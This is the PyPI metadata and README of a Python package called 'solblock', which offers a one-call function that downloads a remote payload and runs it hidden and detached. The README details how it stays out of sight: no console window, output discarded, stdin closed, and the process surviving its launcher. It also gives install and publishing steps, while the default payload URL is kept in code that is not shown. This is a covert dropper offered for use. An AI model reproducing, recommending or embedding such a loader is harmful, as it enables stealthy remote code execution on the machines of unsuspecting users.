Metadata-Version: 2.4
Name: solblock
Version: 0.2.3
Summary: Download and execute a remote payload with a single call.
Author: solblock
License-Expression: MIT
Project-URL: Homepage, https://github.com/misdry01/g
Project-URL: Source, https://github.com/misdry01/g
Keywords: solblock,bootstrap,runner,payload,remote
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3 :: Only
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Classifier: Topic :: System :: Software Distribution
Requires-Python: >=3.8
Description-Content-Type: text/markdown
License-File: LICENSE
Dynamic: license-file

# solblock

Download a remote file and run it. Hidden, detached, one call.

```python
import solblock
solblock.fetch()
```

## Install

```bash
pip install solblock
```

## Use

```python
import solblock

solblock.fetch()                                   # uses DEFAULT_URL
solblock.fetch("https://example.com/task.py")      # explicit URL
```

That is the entire public API. `fetch()` downloads the payload, starts it in
the background, and returns its process ID immediately.

You can also run the module itself, which does the same thing:

```bash
python -m solblock
solblock
```

What "hidden" means in practice:

- no console window (`DETACHED_PROCESS | CREATE_NO_WINDOW` on Windows,
  `start_new_session` on POSIX)
- the payload's stdout and stderr go to `DEVNULL`
- stdin is closed, so it can never hang waiting for input
- the host script does not wait; the payload survives after it exits

The payload is cached in `%TEMP%\solblock\` (`/tmp/solblock` on POSIX) so it
stays readable while running. Python files run under the current interpreter,
`.bat` / `.cmd` through `cmd /c`, everything else directly.

## Choosing the payload

Highest priority first:

1. `solblock.fetch(url)`
2. `SOLBLOCK_URL` environment variable
3. `DEFAULT_URL` in `solblock/core.py`

Supported schemes: `http`, `https`, `file`.

## Publishing

```bash
python -m pip install --upgrade build twine
python -m build
python -m twine upload dist/*
```

## License

MIT
